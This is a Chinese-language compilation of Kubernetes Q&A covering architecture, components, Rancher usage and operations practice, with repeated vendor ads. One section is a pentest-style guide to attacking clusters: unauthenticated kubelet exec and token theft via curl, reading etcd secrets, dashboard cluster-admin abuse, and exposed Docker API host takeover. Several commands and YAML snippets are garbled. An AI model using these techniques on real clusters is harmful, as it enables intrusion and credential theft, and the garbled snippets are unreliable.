k8s在演算法平台的應用

① K8S的概念是什麼

k8s全稱kubernetes，這個名字大家應該都不陌生，k8s是為容器服務而生的一個可移植容器的編排管理工具，越來越多的公司正在擁抱k8s，並且當前k8s已經主導了雲業務流程，推動了微服務架構等熱門技術的普及和落地，正在如火如荼的發展。想要了解更多，我推薦你去看看時速雲，他們是一家全棧雲原生技術服務提供商，提供雲原生應用及數據平台產品，其中涵蓋容器雲PaaS、DevOps、微服務治理、服務網格、API網關等。大家可以去體驗一下。
希望能給您提供幫助，可以給個大大的贊不。

② k8s和docker區別是什麼

k8s和docker區別有以下幾點：

1、k8s是一種開放源碼的容器集群管理系統，能夠實現自動化部署、擴展容器集群、維護等功能。

2、Docker是一種開放源碼的應用容器引擎，開發者可以將他們的應用和依賴打包在一個可移植的容器中，發布到流行的Linux機器上，也可以實現虛擬化。

3、k8s的全稱kubernetes。它是一個完整的分布式系統支撐平台，集群管理功能齊全。Kubernetes同時提供完善的管理工具，涵蓋了開發、部署、測試、運行監控等各個環節。

4、Docker是一種開放源碼的應用容器引擎，允許開發人員將其應用和依賴包打包成可移植的鏡像，然後發布到任何流行的Linux或Windows機器上，也能實現虛擬化。該容器完全使用沙箱機制，彼此之間沒有任何介面。

③ k8s一般做哪些項目

通過 K8s 我們可以：快速部署應用 快速擴展應用 無縫對接新的應用功能 節省資源，優化硬體資源的使用
K8s 是一個可移植的、可擴展的開源平台，用於管理容器化的工作負載和服務，可促進聲明式配置和自動化。K8s 擁有一個龐大且快速增長的生態系統。K8s 的服務、支持和工具廣泛可用。K8s 有如下特點：可移植：支持公有雲，私有雲，混合雲，多重雲 multi-cloud。可擴展：模塊化，插件化，可掛載，可組合。自動化：自動部署，自動重啟，自動復制，自動伸縮/擴展。

④ 簡述Kubernetes Scheler作用及實現原理

Kubernetes Scheler是負責Pod調度的重要功能模塊，Kubernetes Scheler在整個系統中承擔了「承上啟下」的重要功能，「承上」是指它負責接收Controller Manager創建的新Pod，為其調度至目標Node；「啟下」是指調度完成後，目標Node上的kubelet服務進程接管後繼工作，負責Pod接下來生命周期。
Kubernetes Scheler的作用是將待調度的Pod（API新創建的Pod、Controller Manager為補足副本而創建的Pod等）按照特定的調度演算法和調度策略綁定（Binding）到集群中某個合適的Node上，並將綁定信息寫入etcd中。
在整個調度過程中涉及三個對象，分別是待調度Pod列表、可用Node列表，以及調度演算法和策略。
Kubernetes Scheler通過調度演算法調度為待調度Pod列表中的每個Pod從Node列表中選擇一個最適合的Node來實現Pod的調度。⌄隨後，目標節點上的kubelet通過API Server監聽到Kubernetes Scheler產生的Pod綁定事件，然後獲取對應的Pod清單，下載Image鏡像並啟動容器。我推薦你去看看時速雲，他們是一家全棧雲原生技術服務提供商，提供雲原生應用及數據平台產品，其中涵蓋容器雲PaaS、DevOps、微服務治理、服務網格、API網關等。大家可以去體驗一下。

⑤ K8S能實現什麼功能

（1）服務發現與調度
（2）負載均衡
（3）服務自愈
（4）服務彈性擴容
（5）橫向擴容
（6）存儲卷掛載
總而言之，k8s可以使我們應用的部署和運維更加方便。想要了解更多，我推薦你去看看時速雲，他們是一家全棧雲原生技術服務提供商，提供雲原生應用及數據平台產品，其中涵蓋容器雲PaaS、DevOps、微服務治理、服務網格、API網關等。大家可以去體驗一下。
希望能給您提供幫助，可以給個大大的贊不。

⑥ K8S有什麼作用

K8s在什麼情況會殺掉服務？使用Rancher來運行Kubernetes有很多優勢。大多數情況下能使用戶和IT團隊部署和管理工作更加方便。Rancher自動在Kubernetes後端實現etcd 的HA，並且將所需要的服務部署到此環境下的任何主機中。在設置訪問控制，可以輕易連接到現有的LDAP和AD基礎構架。Rancher還可以自動實現容器聯網以及為Kubernetes提供負載均衡服務。通過使用Rancher，你將會在幾分鍾內有擁有Kubernetes的HA實現。命名空間現在我們的集群已經運行了，讓我們進入並查看一些基本的Kubernetes資源吧。你可以訪問Kubernetes集群也可以直接通過kubectl CLI訪問，或者通過Rancher UI 訪問。Rancher的訪問管理圖層控制可以訪問集群，所以你需要在訪問CLI前從Rancher UI那裡生成API密匙。我們來看下第一個Kubernetes資源命名空間，在給定的命名空間中，所有資源名稱必須有唯一性。此外,標簽是用來連接劃定到單個命名空間的資源。這就是為什麼同一個Kubernetes集群上可以用命名空間來隔離環境。例如，你想為應用程序創建Alpha, Beta和生產環境，以便可以測試最新的更改且不會影響到真正的用戶。最後創建命名空間，復制下面的文本到namespace.yaml文件，並且運行 kubectl -f namespace.yaml 命令，來創建一個beta命名空間。kind: NamespaceapiVersion: v1metadata:name: betalabels:name: beta當然你還可以使用頂部的命名空間菜單欄從Rancher UI上創建、查看和選擇命名空間。你可以使用下面的命令，用kubectl來為CLI交互設置命名空間：$ kubectl config set-context Kubernetes --namespace=beta.為了驗證目前context是否已經被設置好，你可以使用config view命令，驗證一下輸出的命名空間是否滿足你的期望。$ kubectl config view | grep namespace command namespace: betaPods現在我們已經定義好了命名空間，接下來開始創建資源。首先我們要看的資源是Pod。一組一個或者多個容器的Kubernetes稱為pod，容器在pod 里按組來部署、啟動、停止、和復制。在給定的每個主機種類里，只能有一個Pod,所有pod里的容器只能在同一個主機上運行，pods可以共享網路命名空間,通過本地主機域來連接。Pods也是基本的擴展單元,不能跨越主機,因此理想狀況是使它們盡可能接近單個工作負載。這將消除pod在擴展或縮小時產生的副作用，以及確保我們創建pods不太耗資源而影響到主機。我們來給名為mywebservice的pod定義，在規范命名web-1-10中它有一個容器並使用nginx容器鏡像，然後把埠為80下的文本添加至pod.yaml文檔中。apiVersion: v1kind: Podmetadata:name: mywebservicespec:containers:- name: web-1-10image: nginx:1.10ports:- containerPort: 80使用kubetl create命令創建pod，如果您使用set-context command設置了您的命名空間，pods將會在指定命名空間中被創立。在通過運行pods命令去驗證pod狀態。完成以後，我們可以通過運行kubetl delete命令刪除pod。$ kubectl create -f ./pod.yamlpod "mywebservice" created$ kubectl get podsNAME READY STATUS RESTARTS AGEmywebservice 1/1 Running 0 37s$ kubectl delete -f pod.yamlpod "mywebservice" deleted在Rancher UI 中查看pod，通過頂端的菜單欄選擇 Kubernetes > Pods 。

⑦ 什麼是K8S

‍

k8s是什麼?

Kubernetes 是一個可移植的，可擴展的開源容器編排平台，用於管理容器化的工作負載和服務，方便了聲明式配置和自動化。它擁有一個龐大且快速增長的生態系統。Kubernetes 的服務，支持和工具廣泛可用。

為什麼現在流行使用容器?

早期: 在物理伺服器上面部署應用程序存在資源分配問題,因為其不能在物理伺服器中的應用程序定義資源邊界,導致應用程序資源利用不足而無法擴展.

後來: 為了解決該問題,引入了虛擬化技術, 虛擬化技術是指允許你在單個物理伺服器的 CPU 上運行多個虛擬機,可以讓多個應用程序在虛擬機之間進行隔離,具有一定的安全性, 每一個虛擬機就是一台完整的計算機, 在虛擬化硬體之上運行所有組件.

現在: 多數在物理伺服器上面部署應用程序都是采kubectl用容器的方式,容器類似於虛擬機,它們都具有自己的文件系統、CPU、內存、進程空間等, 且由於它們與基礎架構分離，因此可以跨雲和 OS 發行版本進行移植。基於此特點被企業大范圍使用.

為什麼需要使用k8s容器?

若出現這樣一個環境: 在生產環境中如果一個容器發生故障,則我們需要手動去啟動另外一個容器,這樣的操作是對我們的管理員來說是不太方便的, 若一個容器出現故障,另一個容器可以自動啟動容器接管故障的容器,這樣是最好的.

k8s就可以實現該效果,Kubernetes 提供了一個可彈性運行分布式系統的框架。 Kubernetes 會滿足你的擴展要求、故障轉移、部署模式等。

k8s功能: 服務發現和負載均衡, 存儲編排, 自動部署和回滾, 自動完成裝箱計算, 自我修復, 密鑰與配置管理

名詞解釋

secret

Secret有三種類型：

• Service Account：用來訪問Kubernetes API，由Kubernetes自動創建，並且會自動掛載到Pod的目錄中；
• /run/secrets/kubernetes.io/serviceaccount
• Opaque：base64編碼格式的Secret，用來存儲密碼、密鑰等；
• kubernetes.io/dockerconfigjson：用來存儲私有docker registry的認證信息。

k8s的組成

k8s是由組件,API,對象等組成.

包含所有相互關聯組件的 Kubernetes 集群圖如下:

組件

• 控制平面組件
  • kube-apiserver: 為k8s的api伺服器,公開了所有Kubernetes API, 其他所有組件都必須通過它提供的API來操作資源數據.
    • 保證集群狀態訪問的安全
    • 隔離集群狀態訪問的方式和後端存儲實現的方式：API Server是狀態訪問的方式，不會因為後端存儲技術etcd的改變而改變。
  • etcd: 為k8s的鍵值資料庫,保存了k8s所有集群數據的後台資料庫。
  • kube-scheler: 收集和分析當前Kubernetes集群中所有Node節點的資源(內存、CPU)負載情況，然後依此分發新建的Pod到Kubernetes集群中可用的節點。 kube-controller-manager: 在主節點上運行 控制器 的組件。
  • cloud-controller-manager: 雲控制器管理器是指嵌入特定雲的控制邏輯的 控制平面組件
• Node 組件
  • kubelet: 一個在集群中每個節點（node）上運行的代理。 它保證容器（containers）都 運行在 Pod 中。
  • kube-proxy: kube-proxy是集群中每個節點上運行的網路代理,維護節點上的網路規則。這些網路規則允許從集群內部或外部的網路會話與 Pod 進行網路通信。
  • 容器運行時: 負責運行容器的軟體。
• 插件(Addons)
  • DNS: 集群 DNS 是一個 DNS 伺服器，和環境中的其他 DNS 伺服器一起工作，它為 Kubernetes 服務提供 DNS 記錄。
  • Web 界面（儀表盤）: Dashboard 是Kubernetes 集群的通用的、基於 Web 的用戶界面。
  • 容器資源監控: 容器資源監控 將關於容器的一些常見的時間序列度量值保存到一個集中的資料庫中，並提供用於瀏覽這些數據的界面。
  • 集群層面日誌: 集群層面日誌 機制負責將容器的日誌數據 保存到一個集中的日誌存儲中，該存儲能夠提供搜索和瀏覽介面。

API

Kubernetes 控制面 的核心是 API 伺服器。 API 伺服器負責提供 HTTP API，以供用戶、集群中的不同部分和集群外部組件相互通信。

對象

Kubernetes對象是Kubernetes系統中的持久實體。Kubernetes使用這些實體來表示集群的狀態.

具體來說，他們可以描述：

• 容器化應用正在運行(以及在哪些節點上)
• 這些應用可用的資源
• 關於這些應用如何運行的策略，如重新策略，升級和容錯

Kubernetes 架構

Kubernetes 架構由節點,控制面到節點通信, 控制器, 雲控制器管理器組成.

master 流程圖

• Kubecfg將特定的請求，比如創建Pod，發送給Kubernetes Client。
• Kubernetes Client將請求發送給API server。
• API Server根據請求的類型，比如創建Pod時storage類型是pods，然後依此選擇何種REST Storage API對請求作出處理。
• REST Storage API對的請求作相應的處理。
• 將處理的結果存入高可用鍵值存儲系統Etcd中。
• 在API Server響應Kubecfg的請求後，Scheler會根據Kubernetes Client獲取集群中運行Pod及Minion/Node信息。
• 依據從Kubernetes Client獲取的信息，Scheler將未分發的Pod分發到可用的Minion/Node節點上。

節點

節點可以是一個虛擬機或者物理機器，取決於所在的集群配置。 每個節點包含運行 Pods 所需的服務， 這些 Pods 由 控制面 負責管理.

節點上的組件包括 kubelet、 容器運行時以及 kube-proxy。

節點狀態

可以使用 kubectl 來查看節點狀態和其他細節信息：

kubectl describe node <�節點名稱>

一個節點包含以下信息:

• 地址
  • HostName：由節點的內核設置。可以通過 kubelet 的 —hostname-override 參數覆蓋。
  • ExternalIP：通常是節點的可外部路由（從集群外可訪問）的 IP 地址。
  • InternalIP：通常是節點的僅可在集群內部路由的 IP 地址。
• 狀況(conditions 欄位描述了所有 Running 節點的狀態)
  • Ready 如節點是健康的並已經准備好接收 Pod 則為 True；False 表示節點不健康而且不能接收 Pod；Unknown 表示節點控制器在最近 node-monitor-grace-period 期間（默認 40 秒）沒有收到節點的消息
  • DiskPressure為True則表示節點的空閑空間不足以用於添加新 Pod, 否則為 False
  • MemoryPressure為True則表示節點存在內存壓力，即節點內存可用量低，否則為 False
  • PIDPressure為True則表示節點存在進程壓力，即節點上進程過多；否則為 False
  • NetworkUnavailable為True則表示節點網路配置不正確；否則為 False
• 容量與可分配
  • 描述節點上的可用資源：CPU、內存和可以調度到節點上的 Pod 的個數上限。
• 信息
  • 關於節點的一般性信息，例如內核版本、Kubernetes 版本（kubelet 和 kube-proxy 版本）、 Docker 版本（如果使用了）和操作系統名稱。這些信息由 kubelet 從節點上搜集而來。

控制面到節點通信

• 節點到控制面
  • apiserver在安全的 HTTPS 埠（443）上監聽遠程連接請求
  • 以客戶端證書的形式將客戶端憑據提供給 kubelet
• 控制面到節點
  • API 伺服器到 kubelet連接用於
    • 獲取 Pod 日誌
    • 掛接（通過 kubectl）到運行中的 Pod
    • 提供 kubelet 的埠轉發功能。
    • (注: 在連接狀態下, 默認apiserver 不檢查 kubelet 的服務證書。容易受到中間人攻擊，不安全.)
  • apiserver 到節點、Pod 和服務
    • SSH 隧道(目前已經廢棄)
      • 產生原因: 若無服務證書, 又要求避免在非受信網路或公共網路上進行連接,則可以在apiserver 和 kubelet 之間使用ssh隧道.
      • Kubernetes 支持使用 SSH 隧道來保護從控制面到節點的通信路徑。
    • Konnectivity 服務
      • 為ssh隧道的替代品, Konnectivity 服務提供 TCP 層的代理，以便支持從控制面到集群的通信。

控制器

在 Kubernetes 中，控制器通過監控集群 的公共狀態，並致力於將當前狀態轉變為期望的狀態。

舉個例子: 當前室內溫度為20度, 我們通過調節遙控器,使其溫度上升至24度, 這20度到24度的變化即為讓其從當前狀態接近期望狀態。

控制器模式分為直接控制和通過API伺服器來控制.

雲控制器管理器

雲控制器管理器是指嵌入特定雲的控制邏輯的 控制平面組件。 雲控制器管理器允許您鏈接聚合到雲提供商的應用編程介面中， 並分離出相互作用的組件與您的集群交互的組件。

雲控制器管理器中的控制器包括：

• 節點控制器
  • 節點控制器負責在雲基礎設施中創建了新伺服器時為之 創建 節點（Node）對象。 節點控制器從雲提供商獲取當前租戶中主機的信息。
  • 執行功能:
    • 針對控制器通過雲平台驅動的 API 所發現的每個伺服器初始化一個 Node 對象
    • 利用特定雲平台的信息為 Node 對象添加註解和標簽
    • 獲取節點的網路地址和主機名
    • 檢查節點的健康狀況。
• 路由控制器
  • Route 控制器負責適當地配置雲平台中的路由，以便 Kubernetes 集群中不同節點上的 容器之間可以相互通信。
• 服務控制器
  • 服務（Service）與受控的負載均衡器、 IP 地址、網路包過濾、目標健康檢查等雲基礎設施組件集成。 服務控制器與雲驅動的 API 交互，以配置負載均衡器和其他基礎設施組件。

Kubernetes 安全性

雲原生安全

雲原生安全4個C: 雲(Cloud)、集群(Cluster)、容器(Container)和代碼(Code)

雲原生安全模型的每一層都是基於下一個最外層，代碼層受益於強大的基礎安全層（雲、集群、容器）。我們無法通過在代碼層解決安全問題來為基礎層中糟糕的安全標准提供保護。

基礎設施安全

Kubetnetes 基礎架構關注領域

建議

通過網路訪問 API 服務（控制平面)

所有對 Kubernetes 控制平面的訪問不允許在 Internet 上公開，同時應由網路訪問控制列表控制，該列表包含管理集群所需的 IP 地址集。

通過網路訪問 Node（節點)

節點應配置為 僅能 從控制平面上通過指定埠來接受（通過網路訪問控制列表）連接，以及接受 NodePort 和 LoadBalancer 類型的 Kubernetes 服務連接。如果可能的話，這些節點不應完全暴露在公共互聯網上。

Kubernetes 雲訪問提供商的 API

每個雲提供商都需要向 Kubernetes 控制平面和節點授予不同的許可權集。為集群提供雲提供商訪問許可權時，最好遵循對需要管理的資源的最小特權原則。Kops 文檔提供有關 IAM 策略和角色的信息。

訪問 etcd

對 etcd（Kubernetes 的數據存儲）的訪問應僅限於控制平面。根據配置情況，你應該嘗試通過 TLS 來使用 etcd。更多信息可以在 etcd 文檔中找到。

etcd 加密

在所有可能的情況下，最好對所有驅動器進行靜態數據加密，但是由於 etcd 擁有整個集群的狀態（包括機密信息），因此其磁碟更應該進行靜態數據加密。

集群組件安全

• 運行的應用程序的安全性關注領域
  • 訪問控制授權(訪問 Kubernetes API)
  • 認證方式
  • 應用程序 Secret 管理 (並在 etcd 中對其進行靜態數據加密)
  • Pod 安全策略
  • 服務質量（和集群資源管理）
  • 網路策略
  • Kubernetes Ingress 的 TLS 支持

容器安全

• 容器安全性關注領域
  • 容器搭建配置(配置不當,危險掛載, 特權用戶)
  • 容器服務自身缺陷
  • Linux內核漏洞
  • 鏡像簽名和執行

代碼安全

• 代碼安全關注領域
  • 僅通過 TLS 訪問(流量加密)
  • 限制通信埠范圍
  • 第三方依賴性安全
  • 靜態代碼分析
  • 動態探測攻擊(黑盒)

Kubernetes架構常見問題

Kubernetes ATTACK 矩陣

信息泄露

雲賬號AK泄露

API憑證（即阿里雲AccessKey）是用戶訪問內部資源最重要的身份憑證。用戶調用API時的通信加密和身份認證會使用API憑證.

API憑證是雲上用戶調用雲服務API、訪問雲上資源的唯一身份憑證。

API憑證相當於登錄密碼，用於程序方式調用雲服務API.

k8s configfile泄露

kubeconfig文件所在的位置:

$HOME/.kube/config

Kubeconfig文件包含有關Kubernetes集群的詳細信息，包括它們的位置和憑據。

雲廠商會給用戶提供該文件,以便於用戶可以通過kubectl對集群進行管理. 如果攻擊者能夠訪問到此文件（如辦公網員工機器入侵、泄露到Github的代碼等），就可以直接通過API Server接管K8s集群，帶來風險隱患。

Master節點SSH登錄泄露

常見的容器集群管理方式是通過登錄Master節點或運維跳板機，然後再通過kubectl命令工具來控制k8s。

雲伺服器提供了通過ssh登陸的形式進行登陸master節點.

若Master節點SSH連接地址泄露,攻擊者可對ssh登陸進行爆破,從而登陸上ssh,控制集群.

容器組件未鑒權服務

Kubernetes架構下常見的開放服務指紋如下:

• kube-apiserver: 6443, 8080
• kubectl proxy: 8080, 8081
• kubelet: 10250, 10255, 4149
• dashboard: 30000
• docker api: 2375
• etcd: 2379, 2380
• kube-controller-manager: 10252
• kube-proxy: 10256, 31442
• kube-scheler: 10251
• weave: 6781, 6782, 6783
• kubeflow-dashboard: 8080

注:前六個重點關注: 一旦被控制可以直接獲取相應容器、相應節點、集群許可權的服務

了解各個組件被攻擊時所造成的影響

組件分工圖:

假如用戶想在集群裡面新建一個容器集合單元, 流程如下:

1. 用戶與 kubectl進行交互,提出需求(例: kubectl create -f pod.yaml)
2. kubectl 會讀取 ~/.kube/config 配置，並與 apiserver 進行交互，協議：http/https
3. apiserver 會協同 ETCD, kube-controller-manager, scheler 等組件准備下發新建容器的配置給到節點，協議：http/https
4. apiserver 與 kubelet 進行交互，告知其容器創建的需求，協議：http/https；
5. kubelet 與Docker等容器引擎進行交互，創建容器，協議：http/unix socket.
6. 容器已然在集群節點上創建成功

攻擊apiserver

apiserver介紹:
在Kubernetes中,對於未鑒權對apiserver, 能訪問到 apiserver 一般情況下就能獲取了集群的許可權.

在攻擊者眼中Kubernetes APIServer

• 容器編排K8S總控組件
• pods, services, secrets, serviceaccounts, bindings, componentstatuses, configmaps,
• endpoints, events, limitranges, namespaces, nodes, persistentvolumeclaims,
• persistentvolumes, podtemplates, replicationcontrollers, resourcequotas …
• 可控以上所有k8s資源
• 可獲取幾乎所有容器的互動式shell
• 利用一定技巧可獲取所有容器母機的互動式shell

默認情況下apiserver都有鑒權:

未鑒權配置如下:

對於這類的未鑒權的設置來說，訪問到 apiserver 一般情況下就獲取了集群的許可權：

如何通過apiserver來進行滲透,可參考:https://Kubernetes.io/docs/reference/generated/kubectl/kubectl-commands

攻擊kubelet

每一個Node節點都有一個kubelet(每個節點上運行的代理)服務，kubelet監聽了10250，10248，10255等埠。

10250埠,是kubelet與apiserver進行通信對主要埠, 通過該埠,kubelet可以知道當前應該處理的任務.該埠在最新版Kubernetes是有鑒權的, 但在開啟了接受匿名請求的情況下，不帶鑒權信息的請求也可以使用10250提供的能力, 在Kubernetes早期,很多挖礦木馬基於該埠進行傳播.

在配置文件中,若進行如下配置,則可能存在未授權訪問漏洞.

/var/bin/kubulet/config/yaml

若10250埠存在未授權訪問漏洞,我們可以直接訪問/pods進行查看

根據在pods中獲取的信息,我們可以在容器中執行命令

curl -Gks https://host:10250/exec/{namespace}/{podname}/{containername} -d 'input=1' -d 'output=1' -d 'tty=1' -d 'command=whoami'

上述命令得到websocket地址，連接websocket得到命令結果：

使用wscat工具連接websocket

wscat -c 「https://X.X.X.X:10250/{websocket}」 --no-check

即可得到我們執行命令的結果.

獲取token

/var/run/secrets/kubernetes.io/serviceaccount

然後即可訪問kube-api server,獲取集群許可權

curl -ks -H "Authorization: Bearer ttps://master:6443/api/v1/namespaces/{namespace}/secrets

"

攻擊kubelet總體步驟如下:

• 訪問pods獲取信息
• 獲取namespace、podsname、containername
• 執行exec獲取token
• /var/run/secrets/kubernetes.io/serviceaccount
• 利用Token訪問API Server進行對pods操作。

攻擊dashboard

dashboard登陸鏈接如下:

http://xxx.xxx.xxx.xxx:xxxx/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/#/login

dashboard界面如下:

dashboard是Kubernetes官方推出的控制Kubernetes的圖形化界面.在Kubernetes配置不當導致dashboard未授權訪問漏洞的情況下，通過dashboard我們可以控制整個集群。

默認情況下, dashboard是需要進行鑒權操作的,當用戶開啟了enable-skip-login時可以在登錄界面點擊Skip跳過登錄進入dashboard.

通過skip登陸的dashboard默認是沒有操作集群的許可權,因為Kubernetes使用RBAC(Role-based access control)機制進行身份認證和許可權管理，不同的serviceaccount擁有不同的集群許可權。

但有些開發者為了方便或者在測試環境中會為Kubernetes-dashboard綁定cluster-admin這個ClusterRole（cluster-admin擁有管理集群的最高許可權）.

為Kubernetes-dashboard綁定cluster-admin 設置如下:

1. 新建dashboard-admin.yaml內容
2. apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: kubernetes-dashboardroleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-adminsubjects : kind: ServiceAccount name: kubernetes-dashboard namespace: kubernetes-dashboard
3. kubectl create -f dashboard-admin.yaml

後通過skip登陸dashboard便有了管理集群的許可權.

創建Pod控制node節點,該pod主要是將宿主機根目錄掛載到容器tmp目錄下。

新建一個Pod如下:

通過該容器的tmp目錄管理node節點的文件

攻擊etcd

Kubernetes默認使用了etcd v3來存儲數據, 若能na
etcd對內暴露2379埠，本地127.0.0.1可免認證訪問. 其他地址要帶—endpoint參數和cert進行認證。

未授權訪問流程:

• 檢查是否正常鏈接
• etcdctl endpoint health
• 讀取service account token
• etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
• 通過token認訪問API-Server埠6443，接管集群：
• kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods

攻擊docker remote api(Docker daemon公網暴露)

2375是docker遠程操控的默認埠，通過這個埠可以直接對遠程的docker 守護進程進行操作。Docker 守護進程默認監聽2375埠且未鑒權.

當機器以方式啟動daemon時，可以在外部機器對該機器的docker daemon進行直接操作：

docker daemon -H=0.0.0.0:2375

之後依次執行systemctl daemon-reload、systemctl restart docker

外部主機使用 即可操作暴露2375埠的主機.

-H

因此當你有訪問到目標Docker API 的網路能力或主機能力的時候，你就擁有了控制當前伺服器的能力。我們可以利用Docker API在遠程主機上創建一個特權容器，並且掛載主機根目錄到容器.

檢測目標是否存在docker api未授權訪問漏洞的方式也很簡單，訪問http://[host]:[port]/info路徑是否含有ContainersRunning、DockerRootDir等關鍵字。

攻擊kubectl proxy

二次開發所產生的問題

管理Kubernetes無論是使用 kubectl 或 Kubernetes dashboard 的UI功能，其實都是間接在和 APIServer 做交互.

如果有需求對k8s進行二次開發的話,大部分的開發功能請求了 APIServer 的 Rest API 從而使功能實現的。

例如:

• 給用戶銷毀自己POD的能力
• DELETE https://apiserver:8443/api/v1/namespaces/default/pods/sleep-75c6fd99c-g5kss

類似於這樣去調用apiserver, 攻擊者若修改namespace、pod和容器名, 那麼即可造成越權.

推薦工具

Kube-Hunter掃描漏洞

kube-hunter是一款用於尋找Kubernetes集群中的安全漏洞掃描器

下載地址: https://github.com/aquasecurity/kube-hunter

CDK(強推)

CDK是一款為容器環境定製的滲透測試工具，在已攻陷的容器內部提供零依賴的常用命令及PoC/EXP。集成Docker/K8s場景特有的 逃逸、橫向移動、持久化利用方式，插件化管理。

下載地址: https://github.com/cdk-team/CDK/wiki/CDK-Home-CN

參考鏈接

https://developer.aliyun.com/article/765449?groupCode=aliyunsecurity
https://xz.aliyun.com/t/4276#toc-2
https://www.secrss.com/articles/29544
https://kubernetes.io/zh/docs/concepts/workloads/pods/#what-is-a-pod
https://www.huweihuang.com/kubernetes-notes/concepts/architecture/kubernetes-architecture.html
https://www.kubernetes.org.cn/service-account
https://www.aquasec.com/cloud-native-academy/cloud-native-applications/cloud-native-infrastructure/
https://www.cdxy.me/?p=827

⑧ 開發和運維對K8S中的應用都做了什麼

在應用的整個生命周期里，開發和運維都和它密不可分。一個塑造它，一個保養它。

如果應用需要部署到K8S中，開發和運維在其中都做了什麼呢？

從開發側來說，我們的應用應該具備以下能力：

健康 檢測介面用於檢測應用的 健康 狀態，在K8S中，使用Readiness和Liveness分別來探測應用是否就緒和是否存活，如果未就緒或者未存活，K8S會採取相應的措施來確保應用可用。

如果我們應用未定義好相應的 健康 檢測介面，K8S就無法判斷應用是否正常可用，整個應用對我們來說就是黑匣子，也就談不上應用穩定性了。

定義一個簡單的 健康 檢測介面如下：

如上我們定義了 health 介面，當應用啟動後，只需要探測這個介面，如果返回OK，表示應用是正常的。

當然，上面的介面是非常簡單的，在實際情況下，應用本身也許還依賴起來應用，比如redis，mysql，mq等，如果它們異常，應用是不是異常的呢？那我們的應用 健康 檢測需不需要檢測其他應用的 健康 狀態呢？

既然我們定義好了 健康 檢測介面，那我們的YAML模板就可以增加 健康 檢測功能，如下：

應用發版是常規不能再常規的操作，通常情況下都是滾動更新的方式上線，也就是先起一個新應用，再刪一個老應用。

如果這時候老應用有部分的流量，突然把老應用的進程殺了，這部分流量就無法得到正確的處理，部分用戶也會因此受到影響。

怎麼才會不受影響呢？

假如我們在停止應用之前先告訴網關或者注冊中心，等對方把我們應用摘除後再下線，這樣就不會有任何流量受到影響了。

在K8S中，當我們要刪除Pod的時候，Pod會變成Terminating狀態，kubelet看到Pod的狀態如果為Terminating，就會開始執行關閉Pod的流程，給Pod發SIGTERM信號，如果達到寬限期Pod還未結束就給Pod發SIGKILL信號，從Endpoints中摘除Pod等。

從上面可知，Pod在停止之前會收到SIG信號，如果應用本身沒有處理這些信號的能力，那應用如果知道什麼時候該結束呢？

下面簡單定義一個處理SIG信號的功能。

當接收到SIG信號的時候，就會調用 Shutdown 方法做應用退出處理。

除此，還要結合K8S的 PreStop Hook 來定義結束前的鉤子，如下：

如果使用注冊中心，比如nacos，我們可以在 PreStop Hook 中先告訴nacos要下線，如下：

Metrics主要用來暴露應用指標，可以根據實際情況自定義指標，以便於監控工具Prometheus進行數據收集展示。

有些語言有現成的exporter，比如java的jmx_exporter，沒有的就需要自己在應用中集成。

比如：

這種會暴露默認的Http指標，可以通過 curl 127.0.0.1:9527/metrics 獲取指標。

如果需要自定義指標的話，只需按規則定義即可，如下：

這樣就定義了 httpserver_request_total 和 httpserver_request_ration_seconds 指標，引用過後就能在 /metrics 中看到對應的數據。

定義好了指標，下面就是收集了。既可以通過自定義收集規則收集，也可以通過自動發現的方式收集，為了方便，主要採用自動發現的方式。

我們只需要在deployment的templates中定義好annotation，prometheeus就會自動添加採集目標，如下：

Trace用於跟蹤，每個請求都會生成一個 TraceID ，這個ID會伴隨請求的整個生命周期，我們也可以根據這個ID查詢請求的整個鏈路情況。

鏈路追蹤，目前市面上有很多開源系統，比如Skywalking，Jeager，Zipkin等，它們各有各的特點，如下。

我比較推薦使用Jaeger，它是CNCF的畢業項目，成長空間和雲原生的系統架構兼容性比較好。

不過，我這里採用的Skywalking。

Skywalking有許多現成的客戶端，比如Java、Python等，可以直接使用，它們都會自動埋點，但是對於Go來說就只有自己手動埋點了，需要我們自己去寫代碼。

比如：

定義reporter用於上報數據給Skywalking，這就是一個簡單的集成Trace的例子。

應用的可觀測性主要來源日誌、監控、鏈路追蹤，標準的日誌有利於日誌收集以及排查問題。

原則上，不論是什麼類型的日誌輸出，什麼格式的日誌內容，都能收集。但是為了方便友好，建議把日誌輸出到標准輸出，這樣收集更方便。

我個人理解，在K8s中，完全沒必要把日誌輸出到文件，浪費不說，沒多大意義，因為所有的日誌我們都會收集到日誌系統，而輸出到文件的日誌也會隨著應用發版而丟失，所以輸出到文件的意義是什麼呢？

開發把系統開發完，就會交付給運維部署。為了保障應用的穩定性，運維在部署應用的時候應該考慮以下幾點。

K8S中可以部署有狀態應用，也可以部署無狀態應用。對於有狀態應用，我其實很少部署到K8S中，大部分還是部署的無狀態應用，至於為什麼，用多了就曉得了。

對於業務應用，強烈建議使其保持無狀態，就算有需要持久化的東西，要麼保存到資料庫，要麼保存到對象存儲或者其他單獨的文件系統中，不要掛載到應用Pod上。

這樣的好處是，應用和數據是分開的，應用可以隨意啟停、擴展、遷移等。

保持高可用應該是每個運維人員的使命。

在K8S中，我們應該怎麼配置呢？（1）應用Pod應該是多副本

（2）應用Pod之間做反親和性，避免同一應用調度到同一台主機，如下。

（3） 為了避免應用因為節點維護等原因驅逐Pod，導致全部Pod被驅逐，特別配置了PodDisruptionBudget，保障應用至少有一個可用，如下。

（4）如果某個節點因為一些原因需要驅逐一些Pod，為了避免重要應用被驅逐，應該給應用配置較高的QoS，如下：

所謂優雅上線能力，就是要確保應用能夠提供服務了，再接入外界流量，不能在還沒完全啟動的情況下就提供服務。

在K8S中，應用在啟動後會加入endpoints中，然後通過service接入流量，那在什麼情況下才算啟動成功呢？主要是通過K8S的 ReadinessProbe 來進行檢測。這時候開發的 健康 檢測介面就派上用場了，如下：

所以我們K8S的YAML文件應該加上如上的配置。

所謂異常自愈，就是應用本身在出現Crash，或者應用Pod所在節點出現異常的情況，應用能夠自動重啟或者遷移。這時候就需要通過K8S的 LivenessProbe 來進行檢測了，如下。

當K8S的YAML清單加上如上配置過後，就會定時去探測應用是否正常，如果異常，就會觸發重啟的動作。如果是節點異常，K8S會對Pod進行重新調度。

應用通過HTTPS訪問是比較常見的，企業級應用建議自己購買相應的SSL證書，然後進行配置即可。

